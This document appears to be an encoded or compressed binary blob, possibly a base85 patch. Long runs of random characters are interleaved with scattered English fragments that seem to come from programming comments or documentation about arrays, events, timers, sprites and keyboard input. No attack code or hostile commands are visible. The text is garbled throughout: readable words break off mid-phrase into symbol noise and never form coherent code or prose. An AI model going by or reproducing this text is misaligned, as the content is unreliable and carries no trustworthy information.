z;3+T{S_;AZAD72l;*Id?_(Xg<-V5)CkH!b$lW+r`j}ve`F2&V25f|VYJcP6G1dijS z_zrvx{x7~6KZ@_hSK=e>3-Pu1Eqoh34_}90!*An{@H?O<`yRjl|JXYV;5NE!LANa> z4s#rKVkZhSv*R!`GlRp-W?N>KT2c$b%*@Qp49y%hcM^xTJ+ptkw^+4rr*?K~_ui6S zr7D+>zdjA>KKFc^i$s-(sv8v=RUxWXRPCtZQ6;0oqWVV7jp`EBE~-;huc!`Dt)n_e z&5N26H8yH$)P$&sQR|~3qZUMMirN?zAN6wc=BPti(NW1!DN#lVTvT>cUQ~XRJt{K_ zigHJFjP6`mDN9D#5^Tw~bX$fk)8?^xZ9dyp+b-K)+kV>t+X>q#+d11s+hyA=+a23o z+kM*;+f&;!+jHAn+dJDw+b7#+8*IaEq^*`c#2#j^XSdkv+nd^3+1uDV*gM)g**n|2 z+Pm2!>?7@??PKlZ?Bne->`Uyc>>KTy>{0e;d#pXq9&b;ur`U7scDu{&vHR>h>^tqd z?0fBp?1$~g?dRCySo-e^y>D|&nM;pk)0XQK~ApNc*c zy*%w^^sVT7(J!N4L?h8;G!v~ve~mpqDH&5CrfN*Jn3^%6F%4tFW4go)jOiOQ zGG=_t#F%L@Gh^n*tc+O^vn*y!%=(zkG0`yzF-b9rF;Glij4S3~O!kNaG4ErDn71(> zV{XK}i+L4OJXVO2Vrs-Time;lB6d(={Rw3Pi-5(!>R=7978nYKfpx)#U@Nc<7y{BzOuu1D*xXffv9_;AQYCcmuo%-Ujc2_rM3>L+}y!1bhm<0AGV|z_;K> z@Dm7w??D8_K>?IN75oZ*0}H?)M+rwYM`=eHMXbdrpCs^#>H-lwZ-m;-5xtFHZOK>?2*`$v6o`c#9oZO z5_>K7Tp9agE}d z#C42o6W1edLfrVcDRC3yrp3*Un;ADhE;4RmT=Tf)ackq&#YM$s#O22AkMqTyk2?^D z#9?ut{zu&RxKD9K<3Gd|kAG`CKMJLrIGQ_JI9fVdJK8wfIV_Iu zj^2)bj)9I5j**U0j9J&Y{lH&hbt|9`Bs&oa&tBobH629;eT_ z%X!3k)OpN#(rNIg+r_ty4~}mg-zvUGe5d%~@qOZ3#5akr5??hwG2RuwFWwiwE#4kq zH$F4o8lM`!DgI>q%J|jsTjEpV_r$C56%)AlNAbVnO$l$}OD0^6{~8~Z0LRPmr4zyu z>Lgr@@0d_D@kjjPgvJS76DB4mB&q~f>@G#+g!n=eg30D(tCA>=5nh=`!CqYf9l2|pdX=3ff%88W{ebSyObzSvb4P4D!&0TF=?Og3$9bNrg5w6~@fv!QW!LFgM5w6j$v92ku zeXawpL$1TFW3Cgflde;)v##^5ORmeVtFG&=Tdq5NF;tp{GM1MsbW&eq~D1JiA9sblBy@Q zObSmLk~C)MXu~i(FKKyFUeflYy-E9$(vs4XP9+^qx{-7%=}6Muq`JxblU^i!N@9}u zq|Zt3lZ2!S)}q#8R={eq{zxisEp9Ds{hn09+SVFw?O^RIa1S$pJJTq218?@vCueZ5;PT>0nLKuKy#t_P$aYvS_CbImOv|^)zDgK9kd=Y zWYbUrln5n3RwxBZh0>r5C=1Gl@*x-GfxOTzXg9PMIshGkjzY(v)6f~{JahrN1YL%% zLbsti&?D#x^cs2teS|(k1VlkB#6be2KwqJ6h5Xr3)>+m_Ymww_R-ZM_df0m3deM5t z`o#LmzTbModfa;3ddqs=Dp+MJY%QByI{CL%w|=#jNq%N6pB$WAIXNsjG`UrB`{Yi^ z4U)Sg_fGDaJTiGg^3>#+$qSQXlcSQo$*Yq$C!b7SksOx{Cg&y}N_Hl1OU_8%k$fci za`MsS>&Z8gUnIXtew+L;`FnC;%FkpqnNF6I%_*f)N~Baw>6H?aVo7P7(j+A!rFTk~ zl=dkdQwFEhN|~NA)wq8f%6*3lpkL4*2yh3wOS;Rt%e#Z!Ro&Ix)!jASA?`4DU3YzV z19wArBX?tWD|b70dv^zSH+O`)m%F#Sk9&Z7pnIr$n0vT;lzX&$tb4qBl6#7Ks(YGy zmV1Fa(mmO|&^_P1#J$YD!oAwP*1ge9x@GrQ_jh+mPoSr~r;4Ylr>3WtC&bgj)6&!0 z)5g=*)7jJ2)5p`z)6>(-)6X-|Gs-jCGtD#0Gt)E2v%nMSS?F2jS>svj+2}F&b8}N> zrz}p1Oj(+;DrId-R7!kGa!P7SUWy}SYs%h~T`31r4yPPTIhS%V<#NiEly@l~Qa+|o zDQe2M6jN$&YPr->sWnn-rCL(kr$(esN*$TnH?@E2rqso$i&AH%CZ@)vCZz63-I|({ zx-)fGsw;JS>W$Qgsn=59rE;l?VJF8^rPNAka4MSmHT6^K`_xitL21>~kksI`a%ol4 z>ZG+v+Yi=HYm(MItzlY3+TgTdX+zTnq>W9Rlr}MKVVc38-{gt%#CsAvNuE?sh9}dL z>&f%jJa!N0ad@_R_IVC?4tb7xPI}IIE_g0`u6u5K?t1QdUU*)5UU^=7-g!QGK6_vf z;h{W?hx7P7qDS$lp5LAl-av1Vw~V)(x4gH4x3V|bTg_Y3Tg$t_yV1MJ8{;*aV0sh0 ziC(KW)0^eBdmUcL>-FyN?(rV*9`YXc9`PRcp75UZ-tyk@-uJ%re)i&C%FBDdc>P|{ zD|uzFW~?;Z%1=vMl(sZ&RodpXn6&h?%(UFJyfk~7GtHIOIXxmhJiUMV;Pj#C!_&v4 z&rDyGzAk-3dR%%+dSZHNdPaI?dVcz*bVquvnFrJNrC&@xmVP|_Q2MF#JLy-`@pLTx zUHY%|g7hEh=8Pg4B{G6C%4U?#D3>wRS25#ZdZmoujCmQ0GnQwp%!ti!W?aj-lyNTO zamKrhR~Zj7-e=s;U^BRk&ly<8&x~T3#WVk8)XEIWESFh3vu9?z%$AvLGY1;?4@19v z^ZxM$`b@s!zOue@zVf~bzDmAeUlm_9Uv*y%Uu|EQufDIbuZgdPua&R0udT0xuamE{ zudA<{FWeX5>*ee1>*MR|>*pKg8{-@68|NGEo9LV3o9dhITi{#lTjE>lTjpEtTj^Wv z+u+;m%kpLWa(ubIe4pJ1`nk&OVxbG8@gtv-{6{pBztN319QgajL(^sGbd+3 z&dQt>IcYg5IdM7La`xvO&e@l9GUr6jxtuFGS99*>+|PNE^D5_a4wCae=Vy+VqvwR= z{>iD7+cdXwZu#7)x#M#C<+u3)V1%k@3tScAG05^pRk{@pRu2{KeFGq-?cxq4@vo8FAcu5f47^#qF^zw zB3K4250(Xk!D?VVurb&Y>;!fLyMw*KzF>c_CpZ9{3{D4UgLA?8;Iokn!R6q3FcI7Y z#)2EbBrpxk0<%FkxCh(?ZU>KpC&26AE$|L_AN&A*0f+fy@bd;8)WEWiQjU&}dX7*> z2S+zYU&k=VAjd+-Qpd8wD|u>T3+oet+t=RxNo=LP3y=X>Wz z=Nso!=NG5nDLG~559c>$fUB&lhzoUAb2V{waP@KZboFrca&>o&aSd@za*cCMbIo+k zam{uua4mF2x(>RIxGuP^xE{Nnx}LjUxIVc)yHFSAB3*)ubNOAWOLBd68S%?MTt%U( zP<5y_6b99WEKmceA=C(J3^j*ZK&_$PP%mg0Gz1z7jey2OtDrn69?F625D598Ezln5 z1at+u2c3m(L64!Q&@%{wPzZ-!KnT>?EkhC{LY3W>+{N7$-KE?`-NoD$+$G#*cXM|Q zx5Zu09qMlB?&ogp?(6REp6H(Lp66cUUgxIVyjye^_Z0JRZj+~|r?IEL=dh=)r?#iJ zr?RJlC&Cl%>F(+4>2I7#LzQKr%R^U$t_)ojx;k`C=-SYAq3c6S06~8O|CoUD%YF`3 zhw~$XM%5ctrXY3ngmGmH$`yFW^OLm6qo$NEIBgWX)R{4K&aXdn=2j?Z^gUpH#ezx& z3nS6UZ;R!{4VP6e2rdX%9k<52rb`Lkecb*Dg4c zSf?PgASgMkAUaJomgUqfs8?Vq_>^70pmI)wf`$dTwh!M8(#jOiRL^YB2+wfO1kVaj zipT2N?^){E;Bk3&c=mdZd2V>Fdd_>!c+Polc^-SNdER=Sd%k%{&liv2`Q@qZt>F#v zuJ*3?ZuZ7{lf7x)bZ@TL=FRbXygR*ny=T1pya&BAzz5z(-pAf2-WT2v-cR0-Uf4@` zX|Lc_y}I|S_q+Fp_ow%lH^^7acX~}_U#PFCue)!cZ=`RuZZr>K;NFS;;D(C|K`ZEG-T+pPTX@S@I*0lm^R`Ap~pUzT;6y8-(Ta3TG zU_$onRUbw;3!f5c2e5@;=;JByve&SMv_i`XUXGIj;K zie1C5V>hsy*e&cfb_ctQ-NWu<53q;WBkVEu1bd1-!=7U=u$R~?>^1fVdyBop-eVuI zkJu;dGX`S_hGH0oV+2NG6h>nV#$p`CV_z^oCSW2aVKSy*DyCsN_7(evea8y0AJ|Xq z7xo+bg8_H|9*CQ8GhPHQiU;Av@Zz}f|7ZXl00+V**bEnei^4&0F}OHf0xk)cf=k0? z;IeQzxIA0|t_W9xE5pHX6}T!~4XzH?fNR3F;1IYrTn7$?!{EAbJ=g-*ha12R;YM&{ zxCz`8ZU#4pTfi;hR&Z;$4cr!P2e*eiz#ZXEaA&v++!gKycZb8_9&iNQ6Yd4~hWo&M z;eK#`cmO;Q9t01DhrmPOVeoKx1UwQR1&@Zuz+>TY@OXFvJQ1D*Pll(!27kQ-UJ@^b zm&VKBW$|)&dAtH%5wC<-#)I)HcvZX_ULCK2*Tie#A$V=P4jzh!;dSwPxCO6|H^3X> zjqt{J6TB(j3~!FNz+2+2@YZ-6ye-}iZ;yAtJK~-2&UhERE8Y$7j)&tt@Cdvo-V5)I z_rd$({qX+y0DK@m2p^0O!H43*@ZtCfd?Y>!AB~T}$KvDg@%RLMB0dS9j8DO*;?wZy z_zZj|J`10X&%x*7^9uRvQ{idwba)0l6P^XnhUdU@;d$_UcmW& z99{vhgjd0<;WhADcpYrCii0=8o8ZlG6dVo5z_D-~91kbJiEt8Zg_GeFI2BHV)8Py_ z6V8IO;T$*@&V%z|8*GO`*a16X7YxB}*aLfEAG`(L3U7nA!#m)e@Gf{aya(P3?}PWl z2jGM7A^0$S1U?EMgO9@};FItv_%wV5J`10N&lmFlIv-zvN8$_dMfhTT3BD9xhA+og z;4AS}xUqa6UyHB9*W(-Tjrb;fGaiLU<1u(F9*4){33wu&gj?}sJOxk1)9`dW1JA^> z@N7H>&&BibeB6fHaS(UlPTYk|;>Ymg_zCpTjTUm+&k2HT(vC z3%`Tk!yn*}@F(~)48sVF!WfLh1WdvdOv4P!!W_)QUtm8hz#=TcGOWNVtid|`75)Z) zhYR2z@K5*`{2TsbC~O0eK*WTYks?S@BnT;n6h}%RC6Q7{X`~EN7Ac36M=Br{kxEEq zBp9iJR7I*G2LErj@Z0zu{4RbEzmGq_AL5Vj$M_TcDgF$9j=#WP;;-=6_#6B!{tkbS zf51QDpYYE(j3YRTV>pfzIEhm@jWallb2yKG!Tq>^i@1c#xPq&=hU@rO{2TrqFTj7` zKk;AqZ~PAq5CKFWVIs^#5uzv&L=+>66D5d}L@A;)QHCf>lq1R$6^M#NC89DBOjIGN z64i+6L=B=QQHuy6Y7=#cP$G<|OBnpWRYz(dHIZ6K2vQrVgM=bsNL{2JVnOO74UmRN zBcw6X1Zj#iLz*Kkkd{a*q&3n8X^XT&+9Ms1jz}k@Gtvd=igZJ|BjHF7Bm(J)^g?Sc8HtQSMk8a8vB)@NJTd{9h)hBzBU6y6$TVa+ zG6R{3%tB@(bC9{nJY+ty0Et8vB8!m4$P#2JvJ6>{tUy*GtB}>m8f0xD|L^q(3sIkF zKr|#85sir^L{p*}(VS>Ov?N*)t%){7TcRD&p6EbyBsvkDi7rG}q8rhj2q$_F5kya- z7tx#OL-Zy35&ek)#6V&YF_;)a3?+sU!-)~ZNMaN*nixZjCB_lsi3!9+ViGZ#m_ke? zrV-PL8N^It7BQQcL(C=S5%Y-!L?p40SVSx)mJmycWyEq~1+kJ?MXV;)5NnBb#Cl=_ zv60wBY$l?JXd;G)E#&`w9kL$TfNVrIA)ApXBpQi9Vv#r`9!WqFktD>5BqJ$EDw2kz zBN<30l7(a=IY=&&hvXwR#EyW7192iQ1VY@12k|04WDBwt*@kRKb|5>EUC3@^53(28 zhwMiVAP12{$YJCNauhj+97j$dCy`UgY2*xY7CDEUM=l^2kxR&B#1ZjC0+C205mq9ZNFh>*G$NhI zATo(8BAdt|a)~@5pRf^j0wf%SlW-9b;U+wUm+%o=h^@pnVmq;e*h%anb`yJuy~I9Z zKXHIKNE{*#6Gw=n#4+MHae_EWoFYyWXNa@JIpREVfw)LqA}$kGh^xdk;yQ7IxJle1 zZWDKiyTm=>KJkEfNIW7Q6Hkbz#53YK@q&0sydqu`Z-}?VJK{a@f%r&#B0d-LFL;H# zM&2NAk$1>@1VeCyKuCl_XoNvnghP1b3*tuvL_{P+MifLvG(<aL`2T4`fD9x}q?s&27A1qoVq|f$1X+?SMV2PZkY&koWO=dzS&^(nRwjeV zDr8l%8d;sJLDnQ|ks)MlvJM$ahLLs2dZdM{Pc|SMl8wm5WD~L}*^F#Xwjf)Qt;p77 z8?r6gj%-hMAUl$s$j)RJvMbq*H2D8$i?&1CqaDzWXeYEY+6C>3c0;?P;b;#u0_}2ctvKq3AGlI649yiH<@?qhrvq=s0vdIsu)CPC_T6Q_!jC zG;}&T1D%P^LT96M(7EV5bUwNOjYJosi_pdB5_BoL3|)?{Kv$xx(ADS~bS=6LU5{=+ zH=>)+&1e)FjmDs{XdD`kCZLIE5^6=0(G)ZlO+(Ys3^WtXLbK7FLjFIyli_3!GJ@<$ z_9A%JUM}!NKPUrlT*m4 zPbQFwWD;p5lgSh^l}sbk$qX`+%p$YN95R>8BlAfcX(vI_ zK{`nn2^I4HnTzJ3`KS%Gqaf-)ou~_iP&ev9y{He}f^J2(q1(|N=uUJOx*Oet?nU>Z z`_TjFLG%!M7(Id>MUSD!(G%!N^b~p;J%gS_&!Okh3+P4k5_%cEf?h?hq1VwH=uPw% zdK6bB~c2cQ3hpE4&~7=s2>#y`Tug09@0zt$SvenavQmw+(GUncagivJ>*_;AGx1A zKprFyk%!46+=*9BYBK#9Cpk zu{Ky+tR2=K>wtB{I$@o$E?8Hr8`d2Q$9iB9SWm1M)*I`C^~L&O{jmYqKx_~;7#o5a z{C^jaKggftFY-6}hXkkqDv&Z!W~vBPlnSDXQN^heR7t87RhlY8m8Hs2<*5o(MXC~2 znF^+=P*tgFRCTHbRg% zqFPgJsJ2u)sy)?#>PU5>I#XS!u2eUwI~7j#pdzTAR4=MG)raa!^`rVz1E_)2AZjo* zgc?c>qlQx>sFBntYBV*58cU6%4F11|V#BcE*a&PSHVPY!jlsrZf z!KPxv9%eG!tbf_h z$C^(XC3?loX2aGRWFBXDTqhVN*NNuw<|5|*)_z{nu(*~oPd2=+|E2vrq)r*b?ON8b zy9S2_m`9k0nOmA$nOmFNnA@7$ncJH?m^+#~nLC@in7f+0nY)|A%{|N!=APzW=HBK$ z=Dy~B=KkgZ=7Hux=E3G6=Aq^thUWZ_VLva-nm)j4BU_9{Y(~cX*W<6O8DQLP2{$GH z{AJ8dH)WcR0BxMgnwcMTKmEyJj) z1F~UF{SM@qUKz&MZ@^L08^b7^YeIl8fC3Z%67Uo_X38@iH|3j7m~5t#rh_KC>68gH zoi-gZ1zPq2R}E9`6~JLSV;W%@XPIJg8jj*}mP(d$z*fVM4OkLPnBlLTXc=ueYbvx9 z54U8ST&8m-$aD`lZ*rS1m>vQi(?wHNODT)jbjjp1T{b+%&w~T&16~4GOj}J? zP49s1rfa6_rX8jmrk#fU_@?Qh>AvZRX_x7iX}9UNX^+Wjx?|dFx@)+P|9ty<)+{g> zE;hDK8{_rg8-HaD68Klv1OS16$#7~H0g3`aKrx^=Py#3klmbcvWq`7VzqdS40jLO6 z0xAQ+Koy`WPz|UK)BtJ%wSW+yHt?^WHUF!==%c1%MrNEavf`AH4`)ngjqQ5g*rFGW z?ReRA#n@`sjcsk4L6|e;mj%9R=ou%?{gV6 z79&M=10j{mgj5QMGIa?Es}mAbEu>;Vc4$bAkg6foL#l<;3aL;bq)I^Tu#lQSKw#bI zfCHA0;36R*K_TUUklH~Z<%@6d(PZ>^A|)K-D;OCUABD1%2lh^ ztX;Q$!^TaUqkw?Fj++CFV^O>RUiusF{j~?A4E@LM0XzN$kDJ}=1cm(%F#SLDc0Hh8 zKok%a4g_og>V(b;2PSL^5AQXjYk0Gf;o;$}+ZaEZH*K}FyYV|b;_stZA7czKMsLF* zV~p@&V~jB&JbcFA$E-QVFj|i<2w!3>?^(JueCcXq7#*%63>Qnpj9!M-qj2_~-FtSQ zIe*Q5Mo<01*?)fj`2&nj=6|1o10x451O_iEoPmQE4K)@~4P9a~8ch9dj$BbVN3Hz( zG-Ra49JBi0=D4+n(9N)^8Pixu-aDx8T=M{|R0RgQ{ z)20CdK%M_QiZ^QpG;3yR(4Z+078V8=08Pz{hXV})r<=NV2Li%ENB8q74VBIf;1 za`~^L!6{SV->#yJ3-p$l|@4w)`=)dH@?7!l_ z>c8f{?!V!`>A&T_?Z4x{>%Zr}?|VM{c?tkHb>3`*a?SJEc>wo8e z@BiTc=>O#Z?1%k`AN6B?+)wyPKjo+WjGy&$e%}AZ@AnIS(J%RBzv5T@nqT)D-+g1h z`oHEEExn3PD0Kp}0^&C@GW@N(*I#vO+nbyih@? zC{z+E3&BDap{h_#s4mnHY6`W45TUkEM+gxB)%Mq!h%S%?y%g%}}L zh!f(41R+sK60Ab9kRqfCX@b$}P{+=55& z3O-?ruvOS5Y!`M2JB3}sZefqGSJ)@)7Y+yqg+sz&;fQclI3^qyP6#K3Q^INCjBr*s zC!7~92p5G*!e!x#a8%5CIi10T&2?6exif7=aZyffv3AenAjKK`JB|FAIvG z3Ywq`UxjbNccDP|A^a463BQFu0w4y6fucz?i$%nuVvtx&EH0K1ONyn$(qb90tXNJg zFIEsMij~C5Vz5|6tSVL$tBW@N-w2a1El!Qv2cs5nd}L|iH^6PJrC#FgSIakaQcTq~{<*NYp(jp8P8vlt~t zi!oxX7$?Sy31Xs{BwEE}F-1%j)5LT!L(DYd?~#xtW{Wvuu9zq0i#E|Nf}%roiY^fn z-J(bIiav3RxK-RHZWnimJH=h%ZgG#eSKKG=7Y~RB#Y5s@@rZa-JSH9&PlzYQQ{rjy zjCfW&C!QBCh!@36;$`uQcvZY6UKekOH^p1xZSjtHSG*_Q7axcZ3kfDX5+93C#HZpj z@wxayd?~&XUyE~sjgH{vPku%22w+*kMsqD21>PCN7i~NsFZ=(o$)ev|L&tt&~%G~N4LPDm%E zQ_^YajC58yC!LorNEf9`(q-w2bXB@0U6*c1H>F$BZRt)S!KAy=J?XymKzb-Wk{(M> zq^Hs|>ACbmdMUkmj9SFR^p`H%A4fPa+Dk`$H=jAoE$GF$cb{2Y?YJc6ggE+lhfr4IaAJ(v*jE)SI(33Wt(i5 zLD?ZYWtR-eZrLMyWuLr7-YRdCx63;U30il`yX4*S9(k|4Pu?#dkPpg-<&PrffdkRQsA z_X zl@dxxrIb=yDWjBC$|>cQ3Q9$#l2Ta-R;nmfm1;_LrG`>dsilM{wUs(bs1l~sRq81g zrM}WYX{a<(8Y@kdrb;uVxza*uskBmBD{YjvN;{>!(n0B{bW%DiU6ig$H>JB0uJlkM zj0m`-gPAaFA)5;m;ta45{uUt?rDwmYY$`$3Ra!t9e+)!>Rx0Kt;9p$caPr0u= zP#!9el*h^w<*D*ad9J)rUMjDY*UB5^t@2KJuY6EGDxV4orhHal1yN81Q*eb)NQF{p zg;7|AQ+VZz;#UMkR3t@K6h&1uMOVHm-<0o4f$~H7sr*uYD}NL~4NwDBlWJCrs72Kv zwU}C5EuofFOR1&RGHO}1oLXM3pjK2Xsg>1WwTfC*t)^C2Yp6BVT55<|Tdkvps$ptf zwVrBG>#GgahH4|VvD!p!sy0)bt1Z-)YAdz1+D2`wwo}`y9n_9$C$+QMMeV8@1XH`I z-PLflhZ>>wRC}qt)jn!pwV&Ew9iR?W2dRVAA?i?dm^xe?p^j8XsiV~~>R5H0I$oWi zPE;qUlhrBeRCSsewp2)3qfQa7tnYP1@o#;S2@yqcgUs!6IK1jYx=r1#?ofBCyVTw49(Av}Pu;H`P!Fny z)Whl#^{9GGJ+7WmPpYTX)9M-Zta?s8uU=3us+ZKu>J{~>dQH8q-cWCy~)W_-*^{M(yeXhPxU#hRv*XkSfZ6U$5cj|lfgZfeZq<&Um6;V+YQ*o70 zNtIG*l~GxhQ+f4^>Q@C-R3%kb6;)L=Rad{N-_-AFf%-%Jss2)btAA8L3(x{JlV;Y6 zXhpRkt(aC^E1{LtN@=CFGFn-!oK{||pjFf=X_d8Lt%_DvGYF-SK zb=A6Q-L-J7hZdpr)Ou;XwLV&3t)JFk8=wu;25Ez}A=*%Fm^NG+p^el=X`{6<+E{Iz zHeQ>cP1Gi7leH<@RBf6zU7MlJ)Mjb3wK>{cZJst?TcAa13$;bsVr_}GR9mJk*H&mN zwN=_`ZH*CskMyRTC^6U#cFX{yq2IPYDt<^OV(1fR4q+Q*D|zB zElbPRa^qP7t zJw&gq*U>}uFukr`Pq*mx^#*!Fy^-EnZ=yHVo9WH<7J5s)mEKx!qqo)D>FxCndPlvJ z-dXRWch$S;-Su$2haRE#)O+c@^*(xEy`SD+AD|D^2kC?LA^K2#m_A$|p^r2o*qSj) zAFYqk$Lizs@%jXPqCQEVtWVLW>eKY;`V4)hK1-ji&(Y`V^Yr=p0zFb+s4vnN>r3>d z`Z9gFzCvHAuhLiRYxK4HI(@yqLEorv(l_f-dbA#+$LeuPfm)Pu5fPR6R{k z*E94?JxkBlbM#z2PtVtFx?Kl#hwju}I;6XGkM7ld`WAhwzD?h*@6dPZyY$`q9(}LA zPv5T}&=2Z|^uzj*LV}t9yo!Lrr|Aa4%zxD<>IaN!a)V&jp?_*cxj``N%YV44yu?4f zBHJLCJ?KANl|BC-P|<7<%uf9$RW;xG2UG+b1as(rQdMxhzg5&41atm1t7_x^R*`BD z%uW2KR;3yQb8iqgiT_At>i-Q@od&_Yu>W9X=Rc+@(jb`k?3$5a&>1oQtnm4$y* z7tQ!}WU)GTT?HHVr@&732)Cy`PwTfCzt)bRZ>!|hA25KXQPETk6-&iY@l*npNF`BLDw#^5 zQmHg5oywpxsVpj+%AsH>926dCVMctI3zW z`b2%EU<#p73Zrm}ph$|MXo{g&ilcby3+1N-N~9!8rW8u0G)kwwQr`**+P_l;)DP+> z^^5vV{hq6gDM=%Ms5 zdN@6T9!Za)N7G~IvGh24JUxM)NKc|C(^KfF^fY=pJ%gS}&!T73bLhGBJbFI8fR3aW z(u?TD^b&e0y^LN?ub@}btLWAA8hS0gj$Ti1pf}Q+=*@H#9Zkp3v2+|APbbicbP{c) zlj#&Xl}@A6=?prP&Z4vF96FcIqw{H-5q}TRPJ^_AcG4~yqTRHI_R>Cj3%!-zMsKHg z&^zf}^lo|&y_eoc@23yY2kArfVfqMtls-lur%%u)=~MJ+`V4)RK1ZLYFVGk1OY~*> z3VoHnMqj6I&^PH@^lkbMeV4vR-=`nY59vqrWBLjGlzv7(r(YBj1Ygpx=-2cc`YrvA zeoud(KhmG*&ooRUG)iMMP7^dqQ#4I8G)r?dPk*8Pv_OlrM9Z{7tF%Vz^jG>D{hcnL zf6zbaU-WPK4-GH@Odw-o%uErcC=rZiKADa({&$}<(1icBS@G84>H zVX89KnCeUorY2L131Mn8b(l~ljH%1iV=PR4rUBECX~Z;UnlMe7W=wOY1=Esg#k6J& zf{r#!Tc#b;p6S4JWI8dOnJ!FMrW@0p31@mR5ll~}7t@>R!}MkPG5whV%s^%kGng5| z3}uEf!ni<24WyUe%nF-89W)d@*nZitErZLl*8O%&(7Bicf!^~yoG4q)P zOeC|AS;Q=6mM}}1Wz2FTf~}4f%t~ezvzl4MtYy|Q>zNJAMrISUnTcYenHVOPiDTlK z1SXM5VysLulftAjX-qnk!DKR7Og59l}K{bdzpRAe&zskkU7L0W{xmNnPbdx<^*$+ImMi2&M;@0bIf_>0&|hM z#9U^sFjtvt%ys4lbCbEn+-B}DcbR+4edYo4ka@&BE+puD!aQZ3G0&M7%uD7K^O||X zyk*`o@0kzGN9GgrnSmLEK^cs}8G<1hilG^XVHu9$nJ(TaqosmS)Sa20>?8wj5iYt-w}f zE3uW?V73Zdm955BXKS!E*;;G}Tbr%JhO%L7UA7);Ve7LE*oJH)wlUj;ZOS%do3kz0 zmTW7wHQR=5%eG_NvmMxuY$vue+lB4Qc4ND<;cO2!g6+xnVtccF*uHE(wm&<79mo!1 z2eU)iq3kerI6HzJ$&O-2vt!t?>^OEjJAs|ZPGTpsQ`o8OGx_wd^`}J-dP3$Zldcvr%j`8^gx3 zacn%Bz$UUutd&h>Q`l5CjZJ4W*i1Hy&1Q4hTsDu*XKk#V1z88{WL+%8x>*nFWqs@x zb}PG$-Olb{ce1^1f}dxO2n-ePaFci6k^J@!8PfPKh5Vjr_l*r)6>_Bs24eaXIJ zU$bx6x9mIiJ^O+E$bMo!voMRWD2uT;ORywMu{6uDEX%Px`-Szh0xPl-E3*o#vKp(i zU)gW$cea52!Tw}_vA@|rMp0`37s#17GgpKw$^~)7xZ<2a5GuiyqqBU9KKy;p%e@xQ1LKt})kyYsxj_ znsY6q5o;am?cg6qlk;(Bv^xV~IJuD=n% zR%ie>kQ>Ae=7w-XxnbOJZUi@y8^w+0#&Bb~aol)r0ymMH#7*X=a8tQy+;naRHjj5tGPAYT5cV;p4-4}+=oxhI}KwG2eu5 z$~WVi^DX$6d@H^+--d6?x8vLM9r%uXC%!Y^h40FD_6q z-;eLl58wy#gZRPx5Pm2>j33UA;79VK_|g0rek?zZAJ0$VC-Rf{$@~<4DnE^%&d=ay z^0WBa{2YERKaZc!FW@8jh5RCZF~5Xg$}i)W^DFq3{3?DmzlLASujAMA8~Bai8&VI|+o{qws8zk2|$$K&um=Wt!GXCN<-A1DYE2D|}Z zpeRrrC<&AX{DHDSd7vV&G*B6+3M>m$2bKp`1Xc!C1y%>v1l9)D1=a^P1U3dX1vUq^ z1hxjY1-1uv1a<~?1$GDa1oj5@1@;FH1P%rc1r7&}1daxd1&#+!1WpD{1x^Rf1kMJ| z1=0}lcZ1CIia15W}^1J44_ z>k_Pf5qKGR6?h$Z6L=eV7kD4|5cnAQFAxYI0W|O_@Hy}$@HOx)@ICM&5DZ{}P~d0a zSKxQxPvCE$HV_WfL+T?9kcLPjq%qP2X^J#MnjANGGH- z(go>?bVIr$J&>MAFQhlp2kDDIg4Gd7Boc-6L;54p$N*#@G6)%r3_*q>!;s;~2xKG@ zgTx}EkT_&CG6oroj6=pF6Of6>BxEu&1(}LWL#87$keSFVWHvGfnTyOr<|7M`g~%dg zF|q`~A$Wv<5D^kWMkojsp&@jHfiMvk!bUg<7vUj%M1Tkp5h6w;h!l|_azuf|BMFES zQ6Xw15z!!8BniT1F{j>gltB(AX|}b$aZ80vJ=^b>_+w=dy##}e&hgh5IKY#Mvl}axcn$`3^|UR zKu#j3kkiN+l`=in50CXTa2pxxor+FFr=v5_ndmHZHaZ8Li_SymqYKc5 z=puA6x&+0cc$9z=Q4&f&jiGV7+_R>04+qls1Gedi_sFa6!oKJXgOMeE=4QRDs&lIjV?!5pexZ;=xTHg zx)xoBu17bZ8_`YZW^@a>72SqzM|Yq*(Ou|nbPu{0-G}b4OK@eqm{#HXF%4qcga=0S z4EG544c8CH)DDPrrZ{wX|A#EhpSDBDS_uL|m;QdUP$mwpqA&cueis zT6UNl9#=cQwo^>!mWG>@59JH575OzW5#wKHqm z#I%i>RXe+uS<9-01Xr?aIkntcUTwFC?h(BrdPnq*=@T<1VpK%KaFcM0@T7?K^%}<1 zL|=>E9lb01YIKtUjR%~MJ{P?*dPVe6*aTWVs&VA@dauIM!dDtBs9jjQq!w4ZsCIEJ zzgAEytZf-?9llo&tG5%j2zrJ4gnNf&QSvB3RG%nPlrTzEE3TE)N^51cyztvdD_a^2q3@eo<}1kl?Dx z;m%Qt+D73w;SMp+!!N>(!x7@|L?Ka3d`JCYxN1+0c1Nedoh>=B!{$W^ z>|Qj8E`_a%x^0YZ(duYOa8+WoHd+(isNT!ySJ7{xUq>fJ>!S71?ZWND9l{;Mox+{N zUBX?%-NN0&f=FScC{i3LiIhglBIS{a$oR;}n5dY3G5uqrV+O&jxCyvLxCxwWoDWxuE5en441E%J z0(Tlr=<{GhU&7UZ4?T-GgD5AeK_^xb%ZNc@6H-%BGtzHTEh$XuLY_dLPo4*ME{~i} zt|4C{Um*t=gPB8_LqPnbu-kL`b0%^$FzS%Z3-dbhJM&NTn~BDX7J-g7Qko?#ldh2- zl)jOEmNkv0zxt(=l~y-4*QT-ybl>rS|C zxJfwJrorKGZ*cc__=B8rG4 zB8t{Z-%3ZwhslS?hsuY`#mXzn_NsQO@v0fB>8h!!?YeY*j{dRXt)ZK-uW^uZurbCM zYaC^aGv*o{rfsI-5uWo z-x=Q;-wxj%-xmKB7sUO>ea3ym{l(SCx5O_X&Lhqx&L=8}kl?x`Vm>I+T}kap9YBlj z0)BimawIu|tR*Lrn^W3ST2We1+EMCLT2dNO+EZFnno$~3+EAKMI#8a|p3GSa{{9@uF;u4~fxR1D> z7)|O=8Vm;aAkt>iM$#tI7E(W0WigU_gAv__GLaMVy1_=mdRyv{+Y3P>|Aysdl+XrsISvFQ#sy$K58C3 zy0+pK^0Igy9>#0L@5`6)Mc{8*`So z32q?E>2j&^nsO#+RTW@VWvg;j86Z_9sBEBAX;pb3R{24!a;VZ&I`FFus!Wv$JgX8_ zIk;9PtzGNTTC^gaP$vMt=9JE_A7&hC9A_L4?RKAFE&inSg!Q=9WczKWI{nbZzRXn) zjqFQZyIdM~ksA`+kn7HO=jPnZsplD&Hy3(Qm*q+FwfVdAHy2zgs4U!3c&hMR;n~77 